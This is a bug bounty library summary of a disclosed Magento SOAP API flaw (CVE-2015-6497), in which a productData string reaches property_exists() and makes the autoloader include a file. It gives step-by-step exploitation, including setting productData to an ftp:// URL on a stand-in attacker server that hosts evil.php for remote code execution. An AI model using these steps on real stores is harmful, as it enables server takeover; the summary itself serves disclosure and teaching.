# Hacking Magento eCommerce For Fun And 17.000 USD

Magento SOAP catalogProductCreate passed attacker-controlled productData string to property_exists(), triggering Varien_Autoload include() and RFI/LFI leading to PHP code execution.

- Payout: $8,000
- Severity: high
- Program: Adobe
- Credited: Egidio Romano / EgiX
- Disclosed: 2016-03-03
- CVE: CVE-2015-6497
- Write-up quality: 8/10
- Original: http://karmainsecurity.com/hacking-magento-ecommerce-for-fun-and-17000-usd
- Library page: https://bugbountylibrary.com/r/blog%3Akarmainsecurity-com-hacking-magento-ecommerce-for-fun-and-17000-usd
- Tags: domain:web impact:internal-access impact:rce kind:bounty platform:blog sev:high tech:php tech:rest technique:source-review vuln:file-upload vuln:rce

**Target:** Magento CE SOAP v2 API catalogProductCreate endpoint
**Root cause:** The create() method expects productData as stdClass but accepts a string; property_exists() on an unknown class name triggers Varien_Autoload::autoload(), which includes the attacker-controlled string as a file path.
**Steps:**
1. Obtain API credentials with catalog product create privilege
2. Send POST to /magento/index.php/api/v2_soap with catalogProductCreate
3. Set productData to base64 of `ftp://attacker:password@attacker_server.com/home/attacker/evil`
4. Host evil.php on attacker FTP server
5. Autoloader includes remote file, executing PHP
**How found:** Researcher studied PHP autoloading sinks (class_exists, property_exists, etc.) and audited Magento SOAP API code, noticing productData type confusion feeding property_exists() with attacker-controlled string.
**Exploitation:** Authenticated API user sends crafted SOAP request; productData string flows to property_exists(), triggering autoloader include() of attacker-controlled ftp:// URL, executing remote PHP. Requires PHP <5.4.24/5.5.8 for invalid class names and allow_url_include=On, or ssh2.sftp:// / expect:// wrappers, or local .php file inclusion on patched PHP.
**Insight:** property_exists()/class_exists()/method_exists() on user-controlled strings are autoload triggers; audit SOAP/REST API methods that type-check object params but accept strings, especially where PHP core allowed invalid class names pre-5.4.24.